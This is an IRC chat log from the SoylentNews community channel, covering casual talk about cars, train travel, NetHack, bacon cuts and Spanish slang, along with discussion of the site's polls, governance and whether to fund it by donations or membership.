[06:17:35] <kobach> Jetta
[06:17:42] <kobach> 2000
[06:17:43] <MrBluze> yeah they not ugly
[06:17:52] <MrBluze> i got a schoobydoo forester
[06:18:02] <kobach> nice, my brother has an impreza
[06:18:11] <kobach> best cheap cars ever IMO
[06:18:16] <Titanium> buy a new car, it works for a while
[06:18:22] <MrBluze> yeah they just go and go (recurring)
[06:18:27] <Konomi> this car was supposed to be reliable
[06:18:32] <kobach> friend of mine bought one for $500
[06:18:34] <Konomi> but I think I got done with a lemon
[06:18:44] <kobach> has put in $500 over the last 130k
[06:18:49] <MrBluze> what one is yours Konomi
[06:18:57] <Konomi> some 1992 commodore thing
[06:19:01] <Konomi> australian car
[06:19:08] <MrBluze> oh yeah
[06:19:23] <MrBluze> unfortunately theres a reason they dont sell as many of those as thye'd like
[06:19:24] <kobach> rofl i KNEW It was going to be some shitbox holden
[06:19:33] <useless> hehe
[06:19:35] <Konomi> you you be quiet you ;_;
[06:19:50] <kobach> lol dont worry theres plenty of them here(under a different badge)
[06:20:00] <MrBluze> i had a ford
[06:20:04] <MrBluze> never again
[06:20:08] <MrBluze> cost more to repair than petrol
[06:20:10] <Konomi> did your door handles fall off
[06:20:16] <MrBluze> yeah
[06:20:17] <kobach> i liked my ford, but it was a truck, so it doesnt count
[06:20:19] <MrBluze> piece of crud
[06:20:21] <Konomi> when I think ford I think no door handles
[06:20:30] <Konomi> or lunch box car
[06:20:33] <MrBluze> when i think of anything like that i think.. bad marriage
[06:20:34] <kobach> also, the engine was an international, not a ford
[06:20:37] <Konomi> cause they kinda looked like a lunch box
[06:21:08] <MrBluze> subaru has a boxer engine - bloody fantastic
[06:21:09] <Konomi> good thing I tpye with my nails so this bandaid doesn;t mess up my typing
[06:21:28] <Konomi> this thing has an engine
[06:21:30] <MrBluze> otherwise mitsubishi make reasonable 4x4's for money - not as good as toyota but for the money they are better
[06:21:35] <Konomi> with a huge single belt that wraps around everything
[06:21:55] <MrBluze> lol Konomi and huuge fans on it that blow your batteries on a hot day
[06:21:59] <Konomi> my knowledge of cars right there
[06:22:02] <MrBluze> cause its cooling system is shyte
[06:22:03] <kobach> lol
[06:22:07] <useless> hehe
[06:22:23] <Konomi> p;lease don't say stuff like that if the battery is gone I am going to flip a table
[06:22:28] <kobach> my trucks cooling fan was 3'
[06:22:40] <MrBluze> and the freakin bimetallic strip that controls the coolant fails CLOSED => blown head gaskett
[06:22:48] <kobach> lol
[06:23:07] <MrBluze> honestly those cars were designed by a committee or something
[06:23:18] <Konomi> well
[06:23:24] <Konomi> I have been around a lot of old cars
[06:23:24] <BadCoderFinger> Yeah, a senate committee.
[06:23:28] <Konomi> and it seems the design idea was
[06:23:38] <Konomi> LETS MAKE THIS SHIT AS COMPLEX AS POSSIBLE TO FIX
[06:23:39] <Konomi> the end
[06:23:42] <MrBluze> yep
[06:23:57] <MrBluze> and lets put razor blades in the path of the opening to the oil filter
[06:24:09] <Konomi> car and modular
[06:24:14] <Konomi> two words that shall never meet
[06:24:25] <Konomi> if my car was a coding project it would be shot
[06:24:33] <MrBluze> Konomi: .. if u get a real off-road 4x4 u have a dream car
[06:24:44] <MrBluze> room for a spare battery, no need for a hoist to change oil, u just lie under it
[06:25:10] <MrBluze> push start if it doesnt go
[06:25:22] <MrBluze> if the park is tight, just drive up the gutter
[06:25:32] <kobach> lol
[06:25:34] <Konomi> 4x4 are not cars
[06:25:35] <useless> heh, miss my truck
[06:25:36] <MrBluze> and room for a shag in the back if needed
[06:25:39] <Konomi> they're sight hazards
[06:25:40] <juggs> Konomi, no car is reliable without maintenance. There's no such thing as a car that goes and goes with out it. Want to DIY - get an older car and learn to maintain it. Get a new car - if you even can diy it prepare to shell out for a CANBUS107.1.1-OCBC17.3-BLAH-MFG/SPECIFIC-PIN-out interlink and software. (Or something like).
[06:26:04] <Konomi> car firmware
[06:26:08] <Konomi> what could go wrong
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[06:26:15] <MrBluze> lol
[06:26:24] <MrBluze> yeah tbh cars should be open source by now
[06:26:29] <MrBluze> there's very little new tech in them
[06:26:30] <kobach> rofl @ paying more than $20 for software on a gasser
[06:26:41] <kobach> unless its a performance vehicle
[06:26:47] <MrBluze> except maybe piezo electric injectors.. big woop - its a liability mostly
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[06:26:59] <Konomi> "hi I flashed my car and now it wont' boot anymore what do I do?"
[06:27:07] <kobach> get a new ecu
[06:27:14] <Konomi> iCar
[06:27:19] <juggs> You pay the dealer $3000
[06:27:25] <kobach> or that
[06:27:28] <MrBluze> Konomi: - u get out of the car, get back in again, and try to start it
[06:27:37] <BadCoderFinger> That's the only thing I don't like about the bike, the stupid firmware.
[06:27:41] <useless> you're driving it wrong
[06:27:44] <MrBluze> after opening and closing every door
[06:27:54] <juggs> You set fire to it and walk of quickly hoping no cctv is in the area
[06:28:06] <MrBluze> u pay someone else to set fire to it
[06:28:19] <MrBluze> but make sure it doesnt get wet or it trips an e-fuse
[06:28:36] <Konomi> okay I think I vented enough food time and then I'll try to perfect a way to erase this day from my memory
[06:28:52] <MrBluze> yeah i gtg too
[06:29:01] <MrBluze> today was a good day (TM)
[06:29:05] <kobach> boring
[06:29:08] <kobach> BORING
[06:29:13] <kobach> IM STILL AWAKE
[06:29:19] <MrBluze> in #staff we decided heaps of stuff
[06:29:28] <MrBluze> and its all good stuff
[06:29:29] <kobach> oh ill go read then while everyone else is quiet
[06:29:37] <MrBluze> cheers
[06:29:39] <MrBluze> :)
[06:29:49] <MrBluze> back later .. i forgot my charger so my battery is short.. will be brief this evening methinks
[06:30:05] <kobach> yea nvm too much to read idc
[06:30:13] <MrBluze> lol its a lot
[06:30:15] <MrBluze> a flood
[06:30:17] <MrBluze> seeya :)
[06:30:21] <MrBluze> good luck Konomi
[06:30:23] <useless> later
[06:30:29] <Konomi> bai ~
[06:30:29] <MrBluze> i'd come over and push your car if i knew the way
[06:30:30] <NCommander> Seems oddly quiet
[06:30:32] <MrBluze> bai bai
[06:30:35] <MrBluze> hey NCommander
[06:30:38] * NCommander is sitting on the floor of a train station
[06:30:42] <artificial> sounds like a job for /dev/random
[06:30:45] <NCommander> Train to Singapore leaves in 45 minutes
[06:30:45] <MrBluze> oh
[06:30:50] * NCommander needs to get his head cleared out
[06:30:57] * kobach slaps NCommander
[06:30:58] <MrBluze> u could drop by mate
[06:30:58] <artificial> NCommander: world traveller
[06:31:04] <MrBluze> im just 5000km away
[06:31:09] <kobach> lol
[06:31:13] <artificial> that's like "this much" on the map
[06:31:15] <NCommander> MrBluze, rofl
[06:31:16] * artificial holds up fingers
[06:31:19] <MrBluze> yeah ..
[06:31:20] <kobach> MrBluze: true, its the closest he'll be for a while
[06:31:35] <MrBluze> yyyup
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[06:31:43] <NCommander> I dunno, if I went to oz, I might get eaten by a kangaroo
[06:31:56] <MrBluze> more like you'll get eaten by a wombat
[06:32:02] <MrBluze> they start with your shoes
[06:32:06] <kobach> yea kangaroos will just kick you
[06:32:07] * NCommander notes wombats are tasty
[06:32:09] <artificial> http://farm1.staticflickr.com
[06:32:10] -!- lhnn|afk has quit [Read error: Connection reset by peer]
[06:32:11] <kobach> watch out for wombats
[06:32:11] -!- robind has quit [Quit: Leaving]
[06:32:13] <useless> they ARE FINE, IT'S THE DROP BEARS YOU HAVE TO WATCH FOR
[06:32:24] <useless> gah, sorry for the caps
[06:32:28] <artificial> drop bears = koalas?
[06:32:29] <MrBluze> i gtg NCommander
[06:32:30] -!- DaveVT5 has quit [Quit: Leaving...]
[06:32:33] <NCommander> Looks like I'm going to be dorming
[06:32:34] <NCommander> hrm
[06:32:41] <kobach> interesting
[06:32:42] <MrBluze> but there was a bit of stuff decided today
[06:32:44] <kobach> on the train?
[06:32:51] <NCommander> kobach, in singapore
[06:32:54] <kobach> oh ok
[06:33:00] <kobach> less interesting then
[06:33:04] * NCommander is litterially assembling his final iterarny as he goes along
[06:33:05] <MrBluze> name poll, some governance stuff nothing much big there, and discussion on failsafe etc
[06:33:29] <kobach> ahh good, nothing i need to worry about then
[06:33:34] <wjwlsn> pardon
[06:33:39] <MrBluze> no, no more crises
[06:33:47] <Hedonismbot> [ksuhku] \o/
[06:33:54] <kobach> yea i didnt have to worry about any of the other crisis either
[06:34:08] <kobach> i really dont do anything other than keep spammers off irc lol
[06:34:09] <MrBluze> yeah i glimpsed at that on the way to a job at 3 in the moring
[06:34:22] * NCommander almost got this book
[06:34:28] <NCommander> and got nethack installed for the train trip
[06:34:31] <MrBluze> back l8r
[06:34:34] <kobach> rofl
[06:34:35] <artificial> hahaha
[06:35:11] juggs is now known as juggs|afk
[06:35:11] * NCommander HAS gotten his hands on the amulet
[06:35:20] <NCommander> Rodney killed me before I made it to the Astral Plane
[06:35:46] <NCommander> Debating what I wan to run as
[06:35:49] <NCommander> Probably Valkire
[06:36:05] <NCommander> Though Wizard might be fun (will help a LOT of the underworld mazes)
[06:36:50] <elf> have you seen these new tiles for nethack? They look pretty cool. http://opengameart.org
[06:37:29] <NCommander> I'm a console player :-)
[06:37:33] * NCommander used to play the original rouge
[06:37:47] <NCommander> I do use tiles on the Android version because its otherwise impossible to see WTF you're doing
[06:38:00] <NCommander> Ok, nethack installed, accomdiations booked
[06:38:06] <NCommander> Just need to wait for the train
[06:38:20] * NCommander finds long international train trips extremely relaxing
[06:38:28] * NCommander once spent a week doing that through Eastern Europe
[06:38:54] -!- MrBluze has quit [Ping timeout: 246 seconds]
[06:38:55] <NCommander> From Slovina to Serbia, passing through Cortaria, and Bosina
[06:38:56] <kobach> theyre relaxing in other countries
[06:39:05] <kobach> theyre not relaxing however, through the midwest
[06:39:09] * NCommander notes Sarajavo was an incredible city
[06:39:13] <kobach> where you get to look at corn for 6 fucking hours
[06:39:22] <NCommander> kobach, eh, I've done Amtrak from Miami to New York City via sleeper
[06:39:25] <NCommander> Which was a blast
[06:39:37] <kobach> yea where you didnt have to look at corn the whole time
[06:39:48] <FoobarBazbot_> NCommander, I assume you have Gurr's port of nethack?
[06:39:55] -!- BadCoderFinger has quit [Quit: Time for sleeeeeeeeep...]
[06:39:58] * Khyber hates flying overseas. Nothing but water and clouds to look at.
[06:40:01] <NCommander> FoobarBazbot_, yup
[06:40:13] <NCommander> I just sleep
[06:40:19] <Khyber> And the stupid auto-updating map on the back of the headrest, and thesorelylacking choice of movies to stream
[06:40:20] <NCommander> Or if I scored an upgrade, relax in business
[06:40:35] * NCommander has once managed to score a freebie ticket on first class singapore airlines
[06:40:39] <NCommander> <3 frequent flier miles
[06:40:52] <kobach> i hate airports
[06:40:58] <kobach> so i fly as little as possible
[06:41:03] <useless> ^
[06:41:16] <kobach> with a 45mpg car, that extends fly vs drive range greatly
[06:41:24] <NCommander> Meh
[06:41:30] * NCommander has driven cost to coast 7 times
[06:41:42] <NCommander> Plus to Alaska, Mexico, Newfoundland, and Key West
[06:41:53] <kobach> fuck the coasts, i prefer north to south
[06:41:57] * NCommander sold his truck at 150k miles; it was only six years old
[06:41:58] <useless> loved the coast to coast drive
[06:42:10] <kobach> texas > california
[06:42:17] * Khyber has just hit over 186K on hiscar. '99 model.
[06:42:28] <kobach> my 2000 has 267k
[06:42:30] <NCommander> kobach, I'll likely reclaim my car at some point. Its leased to a friend
[06:42:35] <useless> boston - San Fran and back many times
[06:42:44] <NCommander> But before SN became a thing, I was gearing up to drive the Pan-American Highway
[06:42:49] <NCommander> From Alaska to Argengina
[06:44:20] -!- wjwlsn [wjwlsn!~guest@fnn470885t49813-jnbo428986n603.cpe.net.cable.rogers.com] has parted #Soylent
[06:47:35] <NCommander> Ok, I need to go hunt a wild train
[06:47:35] <NCommander> BBL
[06:47:50] <useless> later
[06:49:09] <artificial> lol
[06:49:18] <artificial> Train Tracking lvl 6
[07:00:48] <Hedonismbot> [SoylentNews] - Status Update: 12 March 2014 - http://sylnt.us - knock-on-wood
[07:02:19] <mattie_p> too bad juggs is afk, I gave him a shout-out
[07:02:54] <useless> heh
[07:05:22] <useless> in classic index, it there any way to pick sections to ignore?
[07:05:29] <GungnirSniper> Monday, 9 March?
[07:08:06] <mattie_p> fix it
[07:08:12] <mattie_p> err, I fixed it
[07:08:27] <mattie_p> no editors on
[07:08:38] <mattie_p> actually, very little in the way of staff on right now at all
[07:09:18] <GungnirSniper> I'd be happy to be a second set of eyes if you need in the future.
[07:09:39] <mattie_p> Unfortunately it requires someone to be an editor to preview articles at this point
[07:09:50] <mattie_p> talk to LaminatorX the next time you see him
[07:10:07] * Konomi is glad the drama seems resolved
[07:10:21] <useless> for now... ;)
[07:10:24] <mattie_p> I saw your journal article and he might be interested, I know we've taken several of your posts
[07:10:35] <mattie_p> everyone, check the department and please do it
[07:12:38] <mattie_p> back in a few, feel free to blast me in comments while I'm away
[07:13:40] -!- elf has quit [Quit: elf]
[07:18:33] -!- levitude [levitude!~484fccfd@wjlm-86-95-270-274.spfdma.east.verizon.net] has joined #Soylent
[07:24:44] <Alberto> sup sexy boys and girls
[07:25:04] <useless> hola Alberto
[07:25:14] <Alberto> hola damian
[07:25:20] <mattie_p> Hi Alberto
[07:25:25] <Alberto> sup mattie_p
[07:25:35] <Alberto> so some other matt buy the % of Barrabas
[07:25:37] <mattie_p> oh, you know, drama and more drama
[07:25:42] <Alberto> and where we are now?
[07:25:45] <mattie_p> yeah, some other matt
[07:26:01] <mattie_p> check the story, that's the status, in a nutshell
[07:26:23] <mattie_p> I'll be posting comments for a few minutes before head to bed, more in the morning, I bet
[07:26:31] <Alberto> word of advice
[07:26:34] <Alberto> change the name
[07:26:38] <Alberto> and done with the problem
[07:26:58] <Alberto> Mainly because the drama involved and second to secure the project.
[07:27:06] <Alberto> Doesn't matter if you call it BananaNews.org
[07:27:15] <Alberto> it will work if we all contribute
[07:28:18] <Alberto> is bad to let a 3rd party have a % when you don't know the person itself
[07:31:19] -!- keplr [keplr!~Keplr@66-48-811-374.dhcp.snlo.ca.charter.com] has joined #Soylent
[07:31:48] <GungnirSniper> Alberto is a man of great sense.
[07:32:36] <Alberto> Is common sense when you are on such projects.
[07:33:06] <Alberto> Don't delay this anymore, it will damage the community for good. If you expect to grow and do something of the work already done then just move on right?
[07:33:19] <Alberto> GungnirSniper, thank you
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[07:34:22] <Alberto> i been there, twice, learned from mistakes, never happened again
[07:35:32] <GungnirSniper> I'm going to try to sleep myself. Or watch TV until the THINK service goes into PAUSE.
[07:35:45] <useless> nite
[07:36:30] <useless> eh, for the near future, the damage has already been done, I think
[07:37:25] <Alberto> GungnirSniper, gn!
[07:37:59] <Alberto> GungnirSniper, a glass of wine and you will shutdown faster than a old slakware :P
[07:38:39] <useless> or running Portal2 on Steam
[07:38:55] <Alberto> useless, hablas espaol cierto? #SoyLent-ES
[07:39:05] <Alberto> GungnirSniper, damn T_T
[07:39:15] <useless> (fun new bug in the beta that shuts down your computer on load)
[07:39:52] <useless> not really, just some kitchen spanish. "stop fucking the chicken and cook it, asshole"
[07:40:44] <Alberto> hahahaha
[07:41:08] <useless> got to keep the line cooks in order
[07:41:13] <mattie_p> useless: how would you say that in spanish?
[07:41:21] <mattie_p> something pollo I imagine
[07:42:21] <useless> no chinga el pollo
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[07:42:49] <useless> prob way off, but I get away with it
[07:43:44] <mattie_p> I've forgotten all my high school and college epaol
[07:44:16] <useless> it's only vaguely like spoken
[07:45:18] <Alberto> i created #SoyLent-ES for the spanish masses
[07:45:19] <Alberto> :D
[07:45:26] <useless> like english, plenty of colloquialisms
[07:45:40] * Alberto english is crap
[07:45:57] <Alberto> is a mixture, i learned using internet and reading
[07:46:05] <Alberto> no school learning btw
[07:46:12] <Alberto> same for portuguese and italian
[07:46:24] <useless> most of my friends used TV
[07:47:25] <useless> one I had to instruct that if you wanted to say chinga in english, it wasnt BEEEEEPP
[07:50:21] <useless> Alberto: which country are you from?
[07:50:44] <Alberto> born in Argentina
[07:50:55] <Alberto> lived on Chile, Brazil and now Mexico
[07:51:14] <useless> mmm, Argentinian beef
[07:51:15] <Hyper> Deja el pollo y cocinarlo agujero trasero
[07:52:15] <useless> Hyper: are you Korean? they love chicken butt
[07:52:51] <Hyper> useless: that was from Babelfish :P
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[07:53:29] <useless> Alberto: friends here are from either Puebla or Guatamala
[07:54:02] <Alberto> Love Puebla, nice city
[07:54:06] <Alberto> Guatemala is amazing
[07:54:09] <Alberto> i live on chiapas
[07:54:11] <useless> nice cooks
[07:54:19] <Alberto> San Cristobal de las Casas is my city
[07:54:59] <useless> HH, WAY DOWN THERE
[07:55:16] <useless> ok, need to disable capslock
[07:55:29] <useless> sorry
[07:56:41] <Alberto> Well i used to live on Tierra del Fuego, at the end of South America
[07:56:50] <useless> (looking at the pics on wiki) damn, that's some pretty land
[07:57:05] <useless> litterally
[07:57:07] <Alberto> it its, an city of 450+ years old
[07:59:25] <useless> eh, 70ish older than mine ;)
[07:59:54] <Alberto> where are you from?
[07:59:59] <useless> Boston
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[08:00:14] <useless> US-MA
[08:00:52] * Alberto googling Boston
[08:01:46] <Alberto> Looks nice
[08:01:56] <useless> lots of snow
[08:02:39] <useless> bounce between here and NYC
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[08:07:01] <Alberto> well check where i lived
[08:07:06] <Alberto> i like snow and cold places
[08:07:07] <Alberto> :D
[08:07:12] * Alberto HATES sun
[08:07:42] <Hyper> so the dns is fixed and SN is stable. anything else ?
[08:07:45] <useless> I have, .ar is one place on my visit list
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[08:09:18] <Alberto> go suth
[08:09:22] <Alberto> south
[08:09:31] <Alberto> buenos aires is just a big city nothing cool
[08:09:45] <Alberto> well depends of what you like ofc
[08:09:53] <artificial> human females, beer.
[08:09:59] <useless> yeah, wasn't planning on that, more gaucho country
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[08:12:05] <mattie_p> anyway, just about done spilling my guts in the story I posted
[08:14:50] <useless> mattie_p: just a though, maybe try to have the polls be better worded/directed? The irc one you linked to 6 out of the 8 answers don't matter to the question asked, and thus over 1/3 of the replies don't really matter
[08:16:22] <useless> if you're going to use polls to actually get community support, that is. And not just be silly afterthoughts like the /. polls
[08:17:10] <useless> s/get/gauge
[08:17:10] * SedBot hurls a / at esalass!
[08:17:45] <useless> and fuck all the damn bots in the irc channel
[08:18:01] <FoobarBazbot_> useless, I'm not sure that was the best choice of options, but it's important to have suitable answers for people who don't care, for one reason or another, so we can tell the difference between 75% consensus and 5%/15% with 80% not caring...
[08:18:34] <useless> one/none/clod need not be there
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[08:19:46] <useless> didn't know? yeah I could see that...to see who knows about services offered
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[08:21:20] <FoobarBazbot_> I think differentiating between "I don't use IRC" and "I don't know/care enough (for other reasons)", though the wording doesn't reflect that exactly.
[08:21:38] <mattie_p> There was some discussion in #staff on the wording
[08:21:50] <FoobarBazbot_> s/,/ is interesting, if not important to the discussion,/
[08:21:50] <SedBot> <FoobarBazbot_> I think differentiating between "I don't use IRC" and "I don't know/care enough (for other reasons)" is interesting, if not important to the discussion, though the wording doesn't reflect that exactly.
[08:22:01] <Hedonismbot> [ksuhku] soylentnews got a 12 step program now? :P
[08:22:11] <mattie_p> it may not be perfect, and in fact it is essentially deadlocked within an arbitrary margin of error
[08:22:26] <Hedonismbot> [ksuhku] j/k sounds good
[08:22:39] <mattie_p> ksuhku I only posted steps 1-6, 7-12 are top secret hush hush
[08:22:57] <Hedonismbot> [ksuhku] mattie_p :D
[08:23:33] -!- millertime has quit [Ping timeout: 246 seconds]
[08:23:40] <useless> FoobarBazbot_: but both of those boil down to the same thing
[08:24:36] -!- SoyCow5739 has quit [Ping timeout: 246 seconds]
[08:24:49] <useless> For serious topics, yes-no-don't care should work
[08:25:25] <FoobarBazbot_> yeah, for the purposes of this decision, they're the same. But if people who _do_ use irc don't know enough to have an opinion, maybe communication is in order...
[08:25:45] <useless> true, hence the comments
[08:26:17] <useless> "I voted yes, but..."
[08:26:56] <FoobarBazbot_> Yeah, comments are good
[08:27:15] <useless> think we're on a similar page
[08:27:47] <FoobarBazbot_> another option is to have multiple flavors of yes, no, and don't care, clearly labelles so users know which way that will count.
[08:28:08] <mattie_p> anyway, doesn't look like the poll will be conclusive anyway, it is essentially a dead heat
[08:28:09] <useless> just saying, if you're going to use polls for serious topics, the options should be serious
[08:28:23] <FoobarBazbot_> Like "yes/only for idlerpg", "don't care/I don't use IRC", etc.
[08:28:45] <FoobarBazbot_> but maybe comments are enough.
[08:29:13] <useless> only of you disregard the one/none/clod options though
[08:29:21] <mattie_p> our IRC staff are going to be in there checking on the results
[08:29:40] <useless> one of the above option could flip the yes/no
[08:30:00] <FoobarBazbot_> s/ / limited options and /2
[08:30:00] <SedBot> <FoobarBazbot_> but maybe limited options and comments are enough.
[08:30:03] <FoobarBazbot_> yeah
[08:30:29] <useless> not trying to start anything, just an observation :)
[08:31:07] <mattie_p> a gentle reminder: This whole thing is wildly inaccurate. Rounding errors, ballot stuffers, dynamic IPs, firewalls. If you're using these numbers to do anything important, you're insane.
[08:31:19] <mattie_p> this is primarily to get a sense for what the community feels like
[08:31:37] <mattie_p> if there were a clear consensus, that'd be nice
[08:31:56] <mattie_p> as it is, everything is inconclusive so far, essentially the community dumped it back in our laps
[08:32:29] <FoobarBazbot_> And I don't really know what "only for idle rpg" even means, exactly; is that a vote for yes, but the only reason I'm voting yes is because of idlerpg? or actually to run our own irc network with only #idlenerds and #irpg on it?
[08:32:43] <useless> mattie_p: so you are posting polls to get the communities feedback, but thinking doing aything based on the results is insane? ;)
[08:33:11] <mattie_p> useless considering I'm insane for doing what I'm doing for free, then yes, at least I'm aware I'm insane, though
[08:33:24] <useless> hehehe
[08:33:33] <useless> no arguement here
[08:33:44] <mattie_p> we want feedback, we don't want a surveymonkey or whatever
[08:33:50] <mattie_p> this is the best place for it
[08:33:54] <useless> oh fuck no
[08:34:02] <mattie_p> so we're stuck with what we got
[08:34:15] <useless> damn you for mentioning that evil. not sleeping tonight
[08:34:20] <mattie_p> hahaha
[08:37:17] <crutchy> dear kobach... i'm eating a bacon burger MWAHAHAHAHAHA!!!!!!
[08:38:18] <useless> kobach: I made bacon creamed collards and a bacon white gravy for the menu tonight
[08:43:10] <useless> crutchy: so I know you Aussies are upside down, but how do you layer a burger?
[08:44:06] <useless> from bottom: bun, beef, bacon, cheese, veg, condement, bun?
[08:45:50] <crutchy> bun, bacon, bacon, tomato sauce, salt, bacon, bacon, tomato sauce, salt, bacon, bacon, bun
[08:46:41] <useless> streaky bacon or rachers?
[08:46:49] <useless> rashers
[08:47:03] <crutchy> i'm cooking the next burger with 13 pieces of bacon
[08:47:12] <crutchy> i think it's the short cut bacon, rhindless
[08:47:57] <crutchy> it's going to require some squishing to fit in my mouth methinks :-P
[08:48:40] <crutchy> i just buy the good part of the bacon cos i'm lazy
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[08:51:33] <useless> ahh, rashers
[08:51:46] <useless> inferior bacon ;)
[08:51:58] <crutchy> i dunno what it's called but it's the roundish meaty bit
[08:52:19] <crutchy> yummm
[08:53:45] <useless> yours is a side cut, rasher. American cut is from the belly
[08:54:00] <drussell> In Canada we call that kind "back bacon", Americans call it "Canadian bacon"
[08:54:38] <useless> it's a different cut in .ca
[08:54:49] <useless> but close
[08:55:01] <drussell> Could be but the concept is the same... Here it would be cut from the loin
[08:55:33] <useless> in .uk/ie/au it's cut from the side
[08:55:48] <drussell> Take a piece of pork other than the pork belly and cure and smoke like bacon bacon... :)
[08:56:06] <useless> .us (and cn, oddly enough) it's belly
[08:56:46] <drussell> Normal bacon here is belly also
[08:57:13] <useless> west coast .ca?
[08:57:33] <drussell> I'm in Calgary, personally...
[08:57:39] <useless> ahh
[09:00:17] <useless> I'm easy coast, so pretty much only deal with the Quebec and Newfies
[09:00:22] <useless> east
[09:00:45] <useless> and I hear you groaning ;)
[09:00:55] <drussell> Yeah, things can be a tad different depending on where you are :)
[09:02:44] <drussell> You guys are making me want to go defrost a lb of bacon and cook some up... Mmmm... Bacon! :)
[09:03:19] <useless> heh, yeah it happens. last night influenced my menu tonight
[09:04:14] <crutchy> insane burger
[09:05:45] <useless> sounds it
[09:07:49] <useless> Sorry to get off food, but is anyone else using E?
[09:08:30] <useless> (the window manager, not the drug, you crack heads)
[09:09:42] <drussell> Not sure what it is with middle of the night bacon and IRC, but I remember one of the very first times I was on #C late at night because I had rigged up a 286 as a serial terminal in my bedroom to my FreeBSD 1 box (a 386/40) I ended up making bacon at about 4am due to the same kind of conversation :)
[09:10:19] <drussell> No, not me... Either KDE for things that are supposed to be pretty or an fvwm variant for real work :)
[09:12:22] <useless> drussell: hehe
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[09:15:21] <useless> make the bacon, just dont blame us if you burn it
[09:16:23] <drussell> Heh, the 286 just booted off a single floppy and when Mosaic came out I used my Lantastic server to make it also be able to boot Windows 3.1 with Winsock added over the serial link... Took about 10 minutes to boot over serial but I could surf that new fangled http stuff on my bedroom 286 with no HDD... :)
[09:16:38] <drussell> Yeah, it's defrosting right now :)
[09:17:13] <useless> damn, you're old
[09:17:50] <FatPhil> streaky bacon and back bacon both have their merits
[09:18:12] <useless> FatPhil: totally
[09:19:09] <drussell> A couple weeks later I'd saved up enough money to go buy my first 486 mobo for the FreeBSD machine... FP and everything :) The only 387 I had was a 16 MHz chip... I tried to run it in the 386/40 but couldn't get it to run with more than about a 50 MHz crystal (25 Mhz).. It gave some really strange math answers when I tried it at 33 Mhz... Even with a little heat sink glued to it LOL
[09:19:18] <useless> FatPhil: back is for bacon sandwiches
[09:19:18] <drussell> FatPhil: Double agreed :)
[09:20:05] <drussell> I have a smoker so I've made all kinds of neat concoctions
[09:20:35] <drussell> Neat Meat... That could be a good brand name...
[09:20:53] <drussell> Goes well with Soylent LOL
[09:22:00] <useless> ehh, I find game (lamb, dear, etc) goes better with lentils
[09:22:51] <FatPhil> speck + pulses + onion = rocks!
[09:22:59] <prospectacle> /wheel
[09:23:58] * prospectacle was just testing. I guess a real person will have to come up with a topic
[09:24:37] <prospectacle> [topic suggestion]: Would it be better to be a club, with paid membership (e.g. $10 a year. free to watch, pay to play), or a charity, that relies on donations.
[09:25:36] <useless> charity
[09:26:07] <prospectacle> useless: please, continue
[09:26:45] <Titanium> how much does it cost to run?
[09:27:17] <Titanium> how much money are you looking to get per year, are you hoping to hire people to work full time on this or just cover costs?
[09:27:19] <useless> well ,depends on the content. I was assuming SN
[09:27:50] <prospectacle> Yes I was talking about SN
[09:27:56] <useless> Titanium: are you for profit oe not
[09:28:02] <useless> or
[09:28:26] <Titanium> there is nothing wrong with making money
[09:28:36] <useless> true
[09:28:40] <Titanium> just dont trash the site to do it
[09:28:46] <prospectacle> This is old: http://wiki.soylentnews.org
[09:29:15] <prospectacle> But let's say for argument's sake $10k a year (bandwidth, servers, legal fees)
[09:29:24] <useless> but trying to make money under the guise of being a comunity is dishonest
[09:29:46] <Titanium> expecting people to work hard on this and dedicate time is unreasonable
[09:30:02] <Titanium> if they are doing this when they could be consulting or have a job, they need to get paid
[09:30:16] <Titanium> otherwise you get turnover and people that may just dissappear
[09:30:23] <useless> prospectacle: from the comments in the drama threads, you could make that easily in a fund drive
[09:30:41] <Hedonismbot> [SoylentNews] - littleBits: Circuits Meet LEGO Blocks - http://sylnt.us - play-into-our-hands
[09:30:44] <Titanium> if its only $10k a year... i could cover that myself if thats what is needed to keep the site alive
[09:30:55] <Titanium> if you want $100k... thats a different story
[09:30:57] <prospectacle> Titanium. That's a valid concern. On the other hand, many organisations run happily based on volunteer effort if there's a) not too much work and b) lots of dedicated people
[09:31:12] <Titanium> it depends on what the goals are
[09:31:26] <Titanium> personally i dont see that a site would require 40 hours a week or work
[09:31:49] <Titanium> once its running there would be the occasional fire... but other than that it may run itsself other than peopel that create content
[09:31:50] <useless> Titanium: if people are donating time, that's one thing. If they are offering time because it may be venture seaking
[09:31:52] <prospectacle> useless: I agree. Raising the money either way wouldn't be a problem, if that's all it is (10k). So it depends more I guess on what the long term model would be.
[09:31:56] <useless> yeah
[09:32:27] <prospectacle> useless: If it's a charity, it might end up begging a couple times a year like wikipedia (which isn't the worst thing in the world). If it's a (cheap) membership it would have resources directly in proportion to interest/passion/users
[09:32:41] <crutchy> i ate too much bacon
[09:33:24] <Titanium> personally I just want a news site (with awesome comments) that isnt full of slashvertisements and bitcoin (some bitcoin is okay)
[09:33:45] <crutchy> or crapple lawsuits
[09:33:48] <useless> so community funded
[09:34:10] <useless> and staffed
[09:34:13] <prospectacle> Titanium: I agree. I think the setup/structure in the early stages can ensure this continues to be free from ads, despite changes in the whims or needs of individual members/contributors, etc
[09:34:31] <Titanium> also I am fine with advertisements
[09:34:34] <Titanium> but i hate add networks
[09:34:38] <useless> not people that think they can get there investment back over so many months
[09:34:52] <prospectacle> Titanium: Good point, not all ads are terrible, there is a limit.
[09:35:00] <Titanium> if they start putting addsense on it... i dont think it should get donations
[09:35:15] <prospectacle> useless: I think it would be amazing if it were entirely community funded (And worked), imagine a non-commercial site. What an idea.
[09:35:22] <Titanium> either way it should have no problem with bandwidth and hosting
[09:35:27] * crutchy wonders if a distributed service could be developed... divide the load, build in redundancy and if anyone's host goes down others will pick up the slack
[09:35:33] <useless> with this group, and ad blocking, yeah, they should ask for donations
[09:35:45] <prospectacle> lol, true, even if they had ads no one would see them.
[09:35:46] <Titanium> ^^ +1
[09:35:50] <prospectacle> adsense I mean
[09:35:52] <crutchy> maybe not DNS driven (that would be a bottleneck)
[09:36:03] <Titanium> if the adds are inside the site... i have no problems with them
[09:36:07] <crutchy> but maybe using its own protocol
[09:36:10] <drussell> I think it would be absolutely fabulous if a site like this could operate with no ads... Mostly just to show that it's still freakin' possible!
[09:36:14] <Titanium> like a banner saying look at this cool technology
[09:36:21] <useless> Titanium: Ads
[09:36:25] <Titanium> but not an iframe or whatever
[09:36:33] <Titanium> sponsors, not ads
[09:36:45] <Titanium> im better at math than spelling
[09:36:47] <useless> oh, no popup, under, etc
[09:37:01] <Titanium> a .gif ad, hosted by SN
[09:37:07] <Titanium> sponsored by someone
